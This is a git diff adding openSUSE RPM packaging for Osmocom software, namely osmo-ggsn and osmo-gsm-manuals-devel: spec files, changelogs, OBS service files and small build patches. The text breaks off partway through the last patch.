+Mon Jul 01 20:01:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.45:
+ * configure.ac: some versions of linux/if.h require including sys/socket.h
+ * configure.ac: Use prefered AC_CONFIG_HEADERS over AM_CONFIG_HEADER
+ * configure.ac: Use brackets in AC_INIT params
+ * configure.ac: Replace obosolete macro AC_CANONICAL_SYSTEM
+ * ggsn: Use structures instead of raw arrays when parsing ipcp_hdr
+ * ggsn: Avoid unaligned mem access reading PCO proto id
+ * ggsn: More logging from PCO handling (e.g. in case of malconfiguration)
+ * ggsn: Add minimalistic PAP support
+
+-------------------------------------------------------------------
+Fri Jun 21 20:09:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.37:
+ * gtp: queue: Add unit test queue_test
+ * gtp: queue.c: Document queue APIs
+
+-------------------------------------------------------------------
+Thu Jun 20 20:13:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.35:
+ * gtp: Add missing headers
+ * cosmetic: gtp: queue: remove trailing whitespace
+
+-------------------------------------------------------------------
+Wed Jun 19 20:10:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.33:
+ * manuals: Add script to regenerate vty/counter documentation
+
+-------------------------------------------------------------------
+Tue Jun 04 20:01:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.32:
+ * sgsnemu: Replace use of deprecated libgtp API pdp_newpdp with new one
+ * ggsn: vty: Require ggsn param in <show pdp-context> cmd
+ * ggsn_vty_reference.xml: Update from last code changes
+ * gtp: Make use of new libgtp APIs with multi-gsn support
+ * gtp: Introduce new pdp APIs (and deprecate old ones) to support multiple GSN
+ * ggsn: Fix undefined behaviour shifting beyond sign bit
+
+-------------------------------------------------------------------
+Mon Jun 03 20:01:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.26:
+ * cosmetic: gtp.h: Remove trailing whitespaces
+ * pdp: Drop unused code for haship
+ * ggsn: Use gtp_delete_context_req2() everywhere
+ * gtp: Re-arrange free pdp ctx code in non-teardown scenario
+ * cosmetic: gtp: Document free pdp ctx in non-teardown scenario
+ * gtp: Refactor code to use gtp_freepdp(_teardown) APIs
+ * gtp_create_pdp_ind: simplify code by reordering and compacting parsing
+ * pdp: Introduce new API pdp_count_secondary
+
+-------------------------------------------------------------------
+Fri May 31 20:01:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.18:
+ * gtp: Fix typo dublicate->duplicate
+ * gtp: Take queue_resp into account to schedule retrans timer
+ * ggsn: Start gtp retrans timer during startup
+ * debian: create -doc subpackage with pdf manuals
+ * gtp: Document spec reasoning drop of Rx DeleteCtxReq
+
+-------------------------------------------------------------------
+Wed May 29 20:01:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.13:
+ * ggsn: Drop unused param force in apn_stop()
+
+-------------------------------------------------------------------
+Sun May 19 20:01:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.12:
+ * osmo-ggsn: properly show subscriber's MSISDN in the VTY
+
+-------------------------------------------------------------------
+Tue May 14 20:01:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.11:
+ * osmo-ggsn: print requested / actual APN in PDP info
+ * osmo-ggsn: check result of osmo_apn_to_str()
+
+-------------------------------------------------------------------
+Mon May 13 20:01:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.9:
+ * osmo-ggsn: add VTY command to show PDP context by IPv4
+ * osmo-ggsn: fix VTY command for getting PDP contexts by APN
+
+-------------------------------------------------------------------
+Fri Apr 26 20:01:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.7:
+ * ggsn.c: Refactor PCO processing during PDP activation
+ * ggsn: Fix build_ipcp_pco() in presence of invalid IPCP content
+ * ggsn: Remove magic numbers from ipcp_contains_option()
+ * ggsn: const-ify input / read-only arguments of PCO related functions
+ * ggsn: Remove magic numbers from pco_contains_proto()
+
+-------------------------------------------------------------------
+Thu Apr 11 20:01:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.2:
+ * process_pco() const-ify 'apn' argument
+
+-------------------------------------------------------------------
+Thu Mar 14 21:01:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.1:
+ * Don't return error on normal shutdown
+
+-------------------------------------------------------------------
+Sun Jan 20 21:01:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * Bump version: 1.2.2.44-6da8-dirty → 1.3.0
+
+-------------------------------------------------------------------
+Thu Dec 13 21:01:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.44:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:01:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.43:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:01:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.42:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Tue Nov 27 21:01:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.41:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * ggsn: update vty reference
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoGGSN: update vty reference
+ * OsmoGGSN: fix VTY additions' node IDs
+ * OsmoGGSN vty: update VTY reference
+ * OsmoGGSN VTY ref: prep: convert newlines to unix
+ * OsmoGGSN: typo: priveleges
+ * OsmoGGSN: add Routing section for IP forward and masquerading
+ * OsmoGGSN: multiple instances: mention GTP port
+ * OsmoGGSN: more info on non-root operation / tun creation
+ * GGSN: don't say 'NITB'
+ * refactor Makefile build rules, don't use the FORCE
+ * GGSN: Document how 'ip tuntap' is used for non-root; call netdev 'apn0'
+ * Expand OsmoGGSN manual
+ * OsmoGGSN: Add VTY reference manual
+ * initial version of OsmoGGSN user manual
+
+-------------------------------------------------------------------
+Thu Nov 22 18:59:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.22:
+ * properly store IPv6 addresses in struct tun_t
+ * fix a format string directives in queue_seqset()
+ * fix format string error in ippool_printaddr()
+ * initialize local variable addr in ippool_new()
+ * replace bogus memcpy() call in ippool_newip()
+ * fix allocation of ippool's hash table
+ * check ioctl() call return value in tun_new()
+
+-------------------------------------------------------------------
+Sun Oct 21 17:24:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.15:
+ * ippool.c: Use "%td" format string for ptrdiff_t
+ * sgsnemu: Fix printing of tun device name
+
+-------------------------------------------------------------------
+Tue Sep 25 20:01:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.13:
+ * osmo-ggsn.cfg: Ensure well-formed config file example
+
+-------------------------------------------------------------------
+Sun Sep 16 20:01:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.12:
+ * libgtp: implement gtp_clear_queues to clear req/resp queue
+
+-------------------------------------------------------------------
+Thu Sep 13 20:01:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.11:
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Mon Aug 06 20:01:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.9:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Tue Jul 24 20:01:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.8:
+ * gtp: Add new replacement cb_recovery2 for cb_recovery
+
+-------------------------------------------------------------------
+Sat Jul 21 20:01:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.7:
+ * gtp: Add new API to avoid freeing pdp contexts during DEL CTX REQ
+ * fix support for multiple IPCP in PDP protocol configuration options
+ * fix unaligned access in build_ipcp_pco()
+
+-------------------------------------------------------------------
+Mon Jul 16 20:01:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.4:
+ * gtp: Log ignore CTX DEL REQ due to no teardown and only 1 ctx active
+ * gtp: Allow recv DEL CTX REQ in sgsn and DEL CTX RSP in ggsn
+ * gtp: Log type name of unexpected signalling message
+
+-------------------------------------------------------------------
+Thu Jun 21 20:01:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.1:
+ * ggsn: ctrl iface: listen on IP configured by VTY
+
+-------------------------------------------------------------------
+Thu May 31 20:01:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.2.0:
+ * ggsn: fix misinterpreted length field in ipcp_contains_option()
+ * ggsn: make sure ipcp_option_hdr and and ipcp_hdr are packed
+ * Bump version: 1.2.1.3-6a28 → 1.2.2
+
+-------------------------------------------------------------------
+Wed May 09 20:01:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.1:
+ * ggsn_vty.c: fix: use CONFIG_NODE as parent by default
+
+-------------------------------------------------------------------
+Fri May 04 20:01:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.0:
+ * debian/rules: Fix debian packaging after 1.2.0 release
+ * Bump version: 1.2.0.1-36c4 → 1.2.1
+
+-------------------------------------------------------------------
+Thu May 03 20:01:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.0.90-5468-dirty → 1.2.0
+
+-------------------------------------------------------------------
+Thu Apr 26 20:01:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.90:
+ * ggsn: Don't explicitly use tun_setaddr() API anymore
+ * sgsnemu: Convert from tun_setaddr() to tun_addaddr()
+ * lib/tun: Remove tun_setaddr() API, as everyone is using tun_addaddr() now
+ * Move kernel GTP support from ggsn/ to lib/
+ * ggsn: don't use gtp_kernel_tunnel_{add,del}() for userspace tun
+
+-------------------------------------------------------------------
+Wed Apr 25 20:01:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.85:
+ * fix segfault in case of kernel gtp-u
+ * lib/tun.c: Generalize tun_sifflags() to netdev_sifflags
+ * lib/tun.c: generalize tun_*route() to netdev_*route()
+ * lib/tun.c: Generalize tun_{set,add}addr*() functions
+ * lib/tun: split generic network device related stuff to lib/netdev
+ * lib/netdev.c: Cosmetic changes (coding style / cleanups)
+
+-------------------------------------------------------------------
+Tue Apr 17 20:01:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.79:
+ * use osmo_init_logging2
+
+-------------------------------------------------------------------
+Sat Apr 07 18:51:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.78:
+ * remove the -f option from osmo-ggsn.service
+
+-------------------------------------------------------------------
+Wed Mar 14 21:26:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.77:
+ * ggsn.c: cb_tun_ind: log dst addr of packet without pdp ctx
+ * ggsn.c: cb_tun_ind: Don't drop packets targeting pdp ctx ll addr
+ * sgsnemu: created "pinghost" and "createif" modes for mutual exclusion
+ * sgsnemu: fix: no outgoing GTP-U in "createif" mode
+ * sgsnemu: Fix bad ptr during context deallocation
+ * sgsnemu: listen param is a host, not an interface
+ * build: Remove AC_PROG_CXX, C++ is never used
+ * Add talloc context introspection via VTY
+ * configure: add --enable-werror
+ * jenkins.sh: use --enable-werror configure flag, not CFLAGS
+
+-------------------------------------------------------------------
+Wed Feb 14 16:19:12 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.0.75
+- Remove patch:
+ * 0002-build-Remove-AC_PROG_CXX-the-C-is-never-used.patch
+
+-------------------------------------------------------------------
+Sat Feb 10 20:37:28 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Thu Jan 25 20:04:42 UTC 2018 - mardnh@gmx.de
+
+- Remove patch:
+ * build-fixes.diff (most stuff is fixed upstream)
+- Add patches:
+ * 0001-build-Use-sbin-instead-of-bin-for-the-binaries.patch
+ * 0002-build-Remove-AC_PROG_CXX-the-C-is-never-used.patch
+
+-------------------------------------------------------------------
+Wed Jan 24 13:05:48 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.0.50
+- Remove patch (included upstream):
+ * 0001-fix-compiler-warnings-return-0-in-main-in-3-tests.patch
+
+-------------------------------------------------------------------
+Fri Dec 29 16:38:27 UTC 2017 - mardnh@gmx.de
+
+- Use systemd service file from tarball
+- Fix URL
+- Use correct libversion
+- Minor specfile cleanup
+- Disable kernel-gtp support
+- Add patch:
+ - 0001-fix-compiler-warnings-return-0-in-main-in-3-tests.patch
+
+-------------------------------------------------------------------
+Thu Dec 28 00:36:08 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream release 1.1.0
+ * sgsnemu: Add IPv6 support via tun device and "-t v6 --createif"
+ * Allow Common flags 0x94 and ignore them in PDP activation
+ * gtpie.h: Add IE identifier definitions up to 29.60 v11.8.0
+ Release 11
+ * sgsnemu: Add "--tun-device" option to specify TUN device name
+ * ggsn: Avoid crash on wrong EUA type
+
+-------------------------------------------------------------------
+Mon Oct 2 23:35:06 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 1.0.0.30
+
+-------------------------------------------------------------------
+Sat Apr 29 01:21:17 UTC 2017 - jengelh@inai.de
+
+- Initial package (version 0.93.7) for build.opensuse.org
+- Add build-fixes.diff
diff --git a/rpm-local/spec/osmo-ggsn/osmo-ggsn.spec b/rpm-local/spec/osmo-ggsn/osmo-ggsn.spec
new file mode 100644
index 0000000..0cbb1b3
--- /dev/null
+++ b/rpm-local/spec/osmo-ggsn/osmo-ggsn.spec
@@ -0,0 +1,123 @@
+#
+# spec file for package osmo-ggsn
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+## Disable LTO for now since it breaks compilation of the tests
+## https://osmocom.org/issues/4114
+%define _lto_cflags %{nil}
+
+
+Name: osmo-ggsn
+Version: 1.5.0.30
+Release: 0
+Summary: GPRS Support Node
+License: GPL-2.0-only AND LGPL-2.1-or-later
+Group: Productivity/Telephony/Servers
+URL: https://osmocom.org/projects/openggsn/wiki/OsmoGGSN
+Source: %{name}-%{version}.tar.xz
+BuildRequires: libtool >= 2
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libgtpnl) >= 1.0.0
+BuildRequires: pkgconfig(libmnl) >= 1.0.3
+BuildRequires: pkgconfig(libosmocore) >= 1.1.0
+BuildRequires: pkgconfig(libosmoctrl) >= 1.1.0
+BuildRequires: pkgconfig(libosmovty) >= 1.1.0
+Obsoletes: openggsn
+%{?systemd_requires}
+
+%description
+Osmo-GGSN is a C-language implementation of a GGSN (Gateway GPRS
+Support Node), a core network element of ETSI/3GPP cellular networks
+such as GPRS, EDGE, UMTS or HSPA.
+
+%package -n libgtp6
+Summary: Library implementing GTP between SGSN and GGSN
+License: GPL-2.0-only
+Group: System/Libraries
+
+%description -n libgtp6
+libgtp implements the GPRS Tunneling Protocol between SGSN and GGSN.
+
+%package -n libgtp-devel
+Summary: Development files for the GTP library
+License: GPL-2.0-only
+Group: Development/Libraries/C and C++
+Requires: libgtp6 = %{version}
+
+%description -n libgtp-devel
+libgtp implements the GPRS Tunneling Protocol between SGSN and GGSN.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libgtp.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --disable-static \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir} \
+ --includedir="%{_includedir}/%{name}"
+make %{?_smp_mflags} V=1
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%pre
+%service_add_pre %{name}.service
+
+%post
+%service_add_post %{name}.service
+
+%preun
+%service_del_preun %{name}.service
+
+%postun
+%service_del_postun %{name}.service
+
+%post -n libgtp6 -p /sbin/ldconfig
+%postun -n libgtp6 -p /sbin/ldconfig
+
+%files
+%license COPYING
+%doc AUTHORS README.md
+%{_bindir}/osmo-ggsn
+%{_bindir}/sgsnemu
+%{_mandir}/man8/osmo-ggsn.8%{?ext_man}
+%{_mandir}/man8/sgsnemu.8%{?ext_man}
+%{_unitdir}/%{name}.service
+%dir %{_docdir}/%{name}/examples
+%{_docdir}/%{name}/examples/osmo-ggsn.cfg
+%dir %{_sysconfdir}/osmocom
+%config(noreplace) %{_sysconfdir}/osmocom/osmo-ggsn.cfg
+
+%files -n libgtp6
+%{_libdir}/libgtp.so.6*
+
+%files -n libgtp-devel
+%{_includedir}/%{name}/
+%{_libdir}/libgtp.so
+%{_libdir}/pkgconfig/libgtp.pc
+
+%changelog
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/_service b/rpm-local/spec/osmo-gsm-manuals-devel/_service
new file mode 100644
index 0000000..9f72c0a
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-gsm-manuals</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/_servicedata b/rpm-local/spec/osmo-gsm-manuals-devel/_servicedata
new file mode 100644
index 0000000..ea96b9c
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-gsm-manuals</param>
+ <param name="changesrevision">b01306c59a1d60bae3bf286f397065cde817dca0</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/adjust-check-bin-nwdiag.patch b/rpm-local/spec/osmo-gsm-manuals-devel/adjust-check-bin-nwdiag.patch
new file mode 100644
index 0000000..beff303
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/adjust-check-bin-nwdiag.patch
@@ -0,0 +1,36 @@
+diff --git a/build/diag-filter.conf b/build/diag-filter.conf
+index 0c30db7..4f6005e 100644
+--- a/build/diag-filter.conf
++++ b/build/diag-filter.conf
+@@ -49,7 +49,7 @@ template::[filter-diag-pngsvg-blockmacro]
+
+
+ [nwdiag-filter-style]
+-nwdiag-style=template="nwdiag-block",subs=(),posattrs=("style","target"),filter='nwdiag3 -o "{outdir={indir}}/{imagesdir=}{imagesdir?/}{target}" -T{format={basebackend-docbook!png}{basebackend-docbook?png}} - && echo " "'
++nwdiag-style=template="nwdiag-block",subs=(),posattrs=("style","target"),filter='nwdiag -o "{outdir={indir}}/{imagesdir=}{imagesdir?/}{target}" -T{format={basebackend-docbook!png}{basebackend-docbook?png}} - && echo " "'
+
+ [blockdef-listing]
+ template::[nwdiag-filter-style]
+@@ -62,7 +62,7 @@ template::[filter-diag-pngsvg-blockmacro]
+
+
+ [packetdiag-filter-style]
+-packetdiag-style=template="packetdiag-block",subs=(),posattrs=("style","target"),filter='packetdiag3 -o "{outdir={indir}}/{imagesdir=}{imagesdir?/}{target}" -T{format={basebackend-docbook!png}{basebackend-docbook?png}} - && echo " "'
++packetdiag-style=template="packetdiag-block",subs=(),posattrs=("style","target"),filter='packetdiag -o "{outdir={indir}}/{imagesdir=}{imagesdir?/}{target}" -T{format={basebackend-docbook!png}{basebackend-docbook?png}} - && echo " "'
+
+ [blockdef-listing]
+ template::[packetdiag-filter-style]
+diff --git a/check-depends.sh b/check-depends.sh
+index f072fd8..adb49c5 100755
+--- a/check-depends.sh
++++ b/check-depends.sh
+@@ -13,8 +13,7 @@ check_dep_bin xsltproc libxslt
+ check_dep_bin a2x asciidoc
+ check_dep_bin asciidoc asciidoc
+ check_dep_bin dblatex dblatex
+-check_dep_bin packetdiag3 python3-nwdiag
++check_dep_bin packetdiag nwdiag
+ check_dep_bin dot graphviz
+-check_dep_bin inkscape inkscape
+
+ echo "All dependencies installed!"
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/bypass-xmllint.patch b/rpm-local/spec/osmo-gsm-manuals-devel/bypass-xmllint.patch
new file mode 100644
index 0000000..67dd520
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/bypass-xmllint.patch
@@ -0,0 +1,13 @@
+diff --git a/build/Makefile.docbook.inc b/build/Makefile.docbook.inc
+index 373db7d..162ac24 100644
+--- a/build/Makefile.docbook.inc
++++ b/build/Makefile.docbook.inc
+@@ -33,7 +33,7 @@ all: $(DOCBOOKS_PDF)
+
+ # Create a PDF file and lint it before
+ # xslt path: find includes in both $(OSMO_GSM_MANUALS_DIR)/common/chapters and $(builddir)/generated
+-%.pdf: %.xml %.xml-lint $(DOCBOOKS_DEPS) build common
++%.pdf: %.xml $(DOCBOOKS_DEPS) build common
+ dblatex --xslt-opts="--path $(realpath $(OSMO_GSM_MANUALS_DIR))/common/chapters:$$PWD/generated" \
+ $(dblatex_quiet) -P draft.mode=no -o $(notdir $@) $<
+
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals-devel.spec b/rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals-devel.spec
new file mode 100644
index 0000000..3d10b60
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals-devel.spec
@@ -0,0 +1,91 @@
+#
+# spec file for package osmo-gsm-manuals-devel
+#
+# Copyright (c) 2019, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+Name: osmo-gsm-manuals-devel
+Version: 0.3.0.10
+Release: 0
+Summary: Osmocom manuals shared code
+License: GFDL-1.3-only
+Group: Development/Tools/Doc Generators
+URL: https://git.osmocom.org/osmo-gsm-manuals/
+Source: osmo-gsm-manuals-%{version}.tar.xz
+Patch0: use-local-dtd.patch
+Patch1: use-proper-pkgconfig-dir.patch
+Patch2: bypass-xmllint.patch
+Patch3: adjust-check-bin-nwdiag.patch
+BuildRequires: asciidoc
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: dblatex
+BuildRequires: docbook_5
+BuildRequires: graphviz
+BuildRequires: graphviz-gnome
+BuildRequires: libtool
+BuildRequires: libxslt-tools
+BuildRequires: mscgen
+BuildRequires: pkg-config
+BuildRequires: python2-PyChart
+BuildRequires: python3-nwdiag
+BuildRequires: texlive-scheme-medium
+Requires: asciidoc
+Requires: dblatex
+Requires: docbook_5
+Requires: graphviz
+Requires: graphviz-gnome
+Requires: libxslt-tools
+Requires: mscgen
+Requires: pkg-config
+Requires: python2-PyChart
+Requires: python3-nwdiag
+Requires: texlive-scheme-medium
+BuildArch: noarch
+
+%description
+All Osomocom repositories require this package to build their manuals.
+
+%prep
+%setup -q -n osmo-gsm-manuals-%{version}
+%patch0 -p1
+%patch1 -p1
+%patch2 -p1
+%patch3 -p1
+sed -i 's|#!/usr/bin/env python3|#!/usr/bin/python3|g' build/filter-wrapper.py
+sed -i 's|#!/usr/bin/env python3|#!/usr/bin/python3|g' build/unix-time-to-fmt.py
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%check
+make %{?_smp_mflags} check
+
+%files
+%doc INSTALL.txt
+%{_bindir}/osmo-gsm-manuals-check-depends
+%dir %{_datadir}/osmo-gsm-manuals
+%{_datadir}/osmo-gsm-manuals/build/
+%{_datadir}/osmo-gsm-manuals/common/
+%{_datadir}/osmo-gsm-manuals/merge_doc.xsl
+%{_datadir}/osmo-gsm-manuals/vty_reference.xsl
+%{_datadir}/pkgconfig/osmo-gsm-manuals.pc
+
+%changelog
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals.changes b/rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals.changes
new file mode 100644
index 0000000..c493758
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals.changes
@@ -0,0 +1,127 @@
+-------------------------------------------------------------------
+Sun Apr 19 20:05:02 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.10:
+ * GSUP: fix E-Routing-Error: both session state / ID IEs are optional
+
+-------------------------------------------------------------------
+Fri Apr 17 20:04:57 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.9:
+ * port_numbers: fix: GSMTAP has noting to do with port 2427/udp
+ * logging: fix section 6.5.3: logging level s/all/force-all/ fatal
+
+-------------------------------------------------------------------
+Sun Mar 22 21:04:53 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.7:
+ * add common/chapters/cs7-config
+
+-------------------------------------------------------------------
+Sun Mar 08 21:03:59 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.6:
+ * port_numbers: Add missing mDNS port for D-GSM / osmo-hlr
+ * port_numbers: Add osmo-mgw CTRL port
+
+-------------------------------------------------------------------
+Mon Feb 10 21:09:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.4:
+ * fixup: ensure existence of $(abs_srcdir)
+
+-------------------------------------------------------------------
+Fri Jan 31 21:24:48 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.3:
+ * fix srcdir to reflect $abs_srcdir
+
+-------------------------------------------------------------------
+Thu Jan 09 21:10:59 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.2:
+ * bts.adoc: Add information about RACH tuning parameters
+
+-------------------------------------------------------------------
+Mon Jan 06 21:09:55 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.1:
+ * bts: Document access control classes and acc ramping
+
+-------------------------------------------------------------------
+Fri Jan 03 21:12:42 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.3.0.0:
+ * Bump version: 0.2.0.18-258b → 0.3.0
+ * chapters/gsup.adoc: fix message definitions containing gsup-ie-pdpinfo
+ * chapters/gsup.adoc: further documentation for SM-RP-DA/OA IE coding
+
+-------------------------------------------------------------------
+Fri Dec 27 21:07:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.16:
+ * Add GPRS
+
+-------------------------------------------------------------------
+Mon Dec 9 20:51:15 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Drop patch:
+ * adjust-check-bin-nwdiag.patch (integrated upstream)
+
+-------------------------------------------------------------------
+Mon Dec 09 20:15:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.15:
+ * D-GSM biblio entries
+ * debian/check-depends.sh: add inkscape to depends
+
+-------------------------------------------------------------------
+Fri Dec 06 21:16:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.13:
+ * Drop python2 and pychart dependencies
+
+-------------------------------------------------------------------
+Tue Dec 03 21:04:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.12:
+ * tests: add second VTY reference
+ * Support multiple VTY reference manuals
+
+-------------------------------------------------------------------
+Mon Dec 02 21:09:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.10:
+ * Cosmetic: fix Makefile.vty.reference.inc example
+
+-------------------------------------------------------------------
+Sun Dec 01 21:14:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.9:
+ * gsup: Fix description of Purge MS procedure
+
+-------------------------------------------------------------------
+Fri Nov 22 21:21:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.8:
+ * trx_if.adoc: Fix typo and formatting of bullet list
+ * Fix python-nwdiag dependency on new debian distros
+
+-------------------------------------------------------------------
+Wed Nov 20 21:12:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.6:
+ * some more missing items from glossary.
+ * missing glossary items; mostly MSC/3G related
+ * typo / stylistic fixes by Tom Tessier
+
+-------------------------------------------------------------------
+Tue Nov 12 21:11:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.3:
+ * Fix some typos
+
+-------------------------------------------------------------------
+Sun Nov 10 15:21:17 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Initial package, version 0.2.0.2
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/use-local-dtd.patch b/rpm-local/spec/osmo-gsm-manuals-devel/use-local-dtd.patch
new file mode 100644
index 0000000..4953852
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/use-local-dtd.patch
@@ -0,0 +1,13 @@
+diff --git a/tests/test-vty-reference.xml b/tests/test-vty-reference.xml
+index 94ccab1..e041d80 100644
+--- a/tests/test-vty-reference.xml
++++ b/tests/test-vty-reference.xml
+@@ -4,7 +4,7 @@
+ -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+ -->
